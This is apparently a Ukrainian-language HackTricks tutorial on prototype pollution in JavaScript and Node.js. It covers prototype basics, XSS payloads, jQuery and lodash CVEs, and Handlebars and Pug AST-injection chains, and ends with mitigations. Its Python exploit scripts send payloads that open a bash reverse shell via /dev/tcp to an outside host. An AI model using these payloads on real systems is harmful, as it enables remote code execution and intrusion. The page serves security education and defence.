NodeJS - __proto__ та забруднення прототипу
Reading time: 12 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Об'єкти в JavaScript
Об'єкти в JavaScript по суті є колекціями пар ключ-значення, відомими як властивості. Об'єкт можна створити за допомогою Object.create
з null
як аргументом, щоб отримати порожній об'єкт. Цей метод дозволяє створити об'єкт без будь-яких успадкованих властивостей.
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
Порожній об'єкт подібний до порожнього словника, який представлений як {}
.
Функції та класи в JavaScript
У JavaScript класи та функції тісно пов'язані, причому функції часто виконують роль конструкторів для класів. Незважаючи на відсутність нативної підтримки класів у JavaScript, конструктори можуть імітувати поведінку класів.
// Run this in the developers tools console
function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}
Employee.prototype
var employee1 = new Employee("Generic Employee", "Developer")
employee1.__proto__
Прототипи в JavaScript
JavaScript дозволяє модифікацію, додавання або видалення атрибутів прототипу під час виконання. Ця гнучкість дозволяє динамічно розширювати функціональність класів.
Функції, такі як toString
і valueOf
, можуть бути змінені для зміни їх поведінки, демонструючи адаптивну природу системи прототипів JavaScript.
Спадкування
У програмуванні на основі прототипів властивості/методи успадковуються об'єктами від класів. Ці класи створюються шляхом додавання властивостей/методів або до екземпляра іншого класу, або до порожнього об'єкта.
Слід зазначити, що коли властивість додається до об'єкта, який слугує прототипом для інших об'єктів (таких як myPersonObj
), успадковуючі об'єкти отримують доступ до цієї нової властивості. Однак ця властивість не відображається автоматично, якщо її не викликати явно.
__proto__ забруднення
Дослідження забруднення прототипу в JavaScript
Об'єкти JavaScript визначаються парами ключ-значення і успадковують від прототипу об'єкта JavaScript. Це означає, що зміна прототипу Object може вплинути на всі об'єкти в середовищі.
Давайте використаємо інший приклад для ілюстрації:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
Доступ до прототипу об'єкта можливий через:
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
Додаючи властивості до прототипу Object, кожен об'єкт JavaScript успадкує ці нові властивості:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
prototype pollution
У сценарії, де використання __proto__
обмежене, модифікація прототипу функції є альтернативою:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true
// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true
Це впливає лише на об'єкти, створені з конструктора Vehicle
, надаючи їм властивості beep
, hasWheels
, honk
та isElectric
.
Два методи для глобального впливу на об'єкти JavaScript через забруднення прототипу включають:
- Забруднення
Object.prototype
безпосередньо:
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
- Забруднення прототипу конструктора для загальновживаної структури:
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}
Після цих операцій кожен об'єкт JavaScript може виконувати методи goodbye
та greet
.
Забруднення інших об'єктів
Від класу до Object.prototype
У сценарії, де ви можете забруднити конкретний об'єкт і вам потрібно достукатися до Object.prototype
, ви можете шукати його за допомогою чогось на кшталт наступного коду:
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}
// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
Забруднення елементів масиву
Зверніть увагу, що оскільки ви можете забруднювати атрибути об'єктів у JS, якщо у вас є доступ до забруднення масиву, ви також можете забруднювати значення масиву, доступні за індексами (зверніть увагу, що ви не можете перезаписувати значення, тому вам потрібно забруднити індекси, які якимось чином використовуються, але не записуються).
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
Забруднення HTML елементів
Коли генерується HTML елемент за допомогою JS, можливо перезаписати атрибут innerHTML
, щоб він записував произвольний HTML код. Idea and example from this writeup.
// Create element
devSettings["root"] = document.createElement('main')
// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"
// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
Приклади
Основний приклад
Забруднення прототипу відбувається через недолік в додатку, який дозволяє перезаписувати властивості на Object.prototype
. Це означає, що оскільки більшість об'єктів отримують свої властивості з Object.prototype
Найпростіший приклад - це додати значення до невизначеного атрибута об'єкта, який буде перевірятися, наприклад:
if (user.admin) {
Якщо атрибут admin
не визначений, можливо зловживати PP і встановити його в True за допомогою чогось на зразок:
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
Механізм, що стоїть за цим, полягає в маніпулюванні властивостями так, що якщо зловмисник контролює певні вхідні дані, він може змінити прототип усіх об'єктів в додатку. Ця маніпуляція зазвичай включає встановлення властивості __proto__
, яка в JavaScript є синонімом безпосередньої зміни прототипу об'єкта.
Умови, за яких ця атака може бути успішно виконана, як зазначено в конкретному дослідженні, включають:
- Виконання рекурсивного злиття.
- Визначення властивостей на основі шляху.
- Клонування об'єктів.
Override function
customer.__proto__.toString = ()=>{alert("polluted")}
Proto Pollution to RCE
Інші payloads:
Client-side prototype pollution to XSS
Client Side Prototype Pollution
CVE-2019–11358: Атака на прототипне забруднення через jQuery $ .extend
Для отримання додаткової інформації перегляньте цю статтю У jQuery функція $ .extend
може призвести до прототипного забруднення, якщо функцію глибокого копіювання використовувати неправильно. Ця функція зазвичай використовується для клонування об'єктів або об'єднання властивостей з об'єкта за замовчуванням. Однак, при неправильній конфігурації, властивості, призначені для нового об'єкта, можуть бути призначені прототипу замість цього. Наприклад:
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
Ця вразливість, ідентифікована як CVE-2019–11358, ілюструє, як глибоке копіювання може ненавмисно змінити прототип, що призводить до потенційних ризиків безпеки, таких як несанкціонований доступ адміністратора, якщо такі властивості, як isAdmin
, перевіряються без належної перевірки існування.
CVE-2018–3721, CVE-2019–10744: Атака на забруднення прототипу через lodash
Для отримання додаткової інформації перегляньте цю статтю
Lodash зіткнувся з подібними вразливостями забруднення прототипу (CVE-2018–3721, CVE-2019–10744). Ці проблеми були вирішені в версії 4.17.11.
Інший посібник з CVE
Інструменти для виявлення забруднення прототипу
- Server-Side-Prototype-Pollution-Gadgets-Scanner: Розширення Burp Suite, призначене для виявлення та аналізу вразливостей забруднення прототипу на стороні сервера в веб-додатках. Цей інструмент автоматизує процес сканування запитів для виявлення потенційних проблем забруднення прототипу. Він використовує відомі гаджети - методи використання забруднення прототипу для виконання шкідливих дій - зокрема, зосереджуючись на бібліотеках Node.js.
- server-side-prototype-pollution: Це розширення виявляє вразливості забруднення прототипу на стороні сервера. Воно використовує техніки, описані в забрудненні прототипу на стороні сервера.
AST Забруднення прототипу в NodeJS
NodeJS широко використовує абстрактні синтаксичні дерева (AST) в JavaScript для функцій, таких як шаблонні двигуни та TypeScript. Цей розділ досліджує вразливості, пов'язані із забрудненням прототипу в шаблонних двигунах, зокрема Handlebars і Pug.
Аналіз вразливості Handlebars
Шаблонний двигун Handlebars вразливий до атаки на забруднення прототипу. Ця вразливість виникає через специфічні функції в файлі javascript-compiler.js
. Функція appendContent
, наприклад, конкатенує pendingContent
, якщо він присутній, тоді як функція pushSource
скидає pendingContent
на undefined
після додавання джерела.
Процес експлуатації
Експлуатація використовує AST (абстрактне синтаксичне дерево), створене Handlebars, дотримуючись цих кроків:
- Маніпуляція парсером: Спочатку парсер, через вузол
NumberLiteral
, вимагає, щоб значення були числовими. Забруднення прототипу може обійти це, дозволяючи вставку нечислових рядків. - Обробка компілятором: Компілятор може обробляти об'єкт AST або шаблон рядка. Якщо
input.type
дорівнюєProgram
, вхідні дані обробляються як попередньо розібрані, що може бути використано в експлуатації. - Впровадження коду: Через маніпуляцію
Object.prototype
можна впровадити довільний код у функцію шаблону, що може призвести до віддаленого виконання коду.
Приклад, що демонструє експлуатацію вразливості Handlebars:
const Handlebars = require("handlebars")
Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]
const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)
console.log(eval("(" + template + ")")["main"].toString())
Цей код демонструє, як зловмисник може впровадити довільний код у шаблон Handlebars.
Зовнішнє посилання: Проблема, пов'язана з забрудненням прототипу, була виявлена в бібліотеці 'flat', як детально описано тут: Issue on GitHub.
Зовнішнє посилання: Issue related to prototype pollution in the 'flat' library
Приклад експлуатації забруднення прототипу в Python:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
# execute
requests.get(TARGET_URL)
Уразливість Pug
Pug, ще один движок шаблонів, стикається з подібним ризиком забруднення прототипу. Детальна інформація доступна в обговоренні про AST Injection in Pug.
Приклад забруднення прототипу в Pug:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
requests.get(TARGET_URL)
Запобіжні заходи
Щоб зменшити ризик забруднення прототипу, можна використовувати наведені нижче стратегії:
- Незмінність об'єктів:
Object.prototype
можна зробити незмінним, застосувавшиObject.freeze
. - Валідація вводу: JSON-вводи повинні бути ретельно перевірені відповідно до схеми програми.
- Безпечні функції злиття: Слід уникати небезпечного використання рекурсивних функцій злиття.
- Об'єкти без прототипу: Об'єкти без властивостей прототипу можна створити за допомогою
Object.create(null)
. - Використання Map: Замість
Object
слід використовуватиMap
для зберігання пар ключ-значення. - Оновлення бібліотек: Безпекові патчі можна впроваджувати шляхом регулярного оновлення бібліотек.
- Інструменти лінтингу та статичного аналізу: Використовуйте інструменти, такі як ESLint з відповідними плагінами, для виявлення та запобігання вразливостям, пов'язаним із забрудненням прототипу.
- Огляди коду: Реалізуйте ретельні огляди коду для виявлення та усунення потенційних ризиків, пов'язаних із забрудненням прототипу.
- Навчання з безпеки: Освіжайте розробників про ризики забруднення прототипу та найкращі практики написання безпечного коду.
- Обережне використання бібліотек: Будьте обережні при використанні сторонніх бібліотек. Оцініть їх безпекову позицію та перегляньте їх код, особливо ті, що маніпулюють об'єктами.
- Захист під час виконання: Використовуйте механізми захисту під час виконання, такі як безпеково орієнтовані npm-пакети, які можуть виявляти та запобігати атакам забруднення прототипу.
Посилання
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l
- https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7
- https://blog.p6.is/AST-Injection/
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.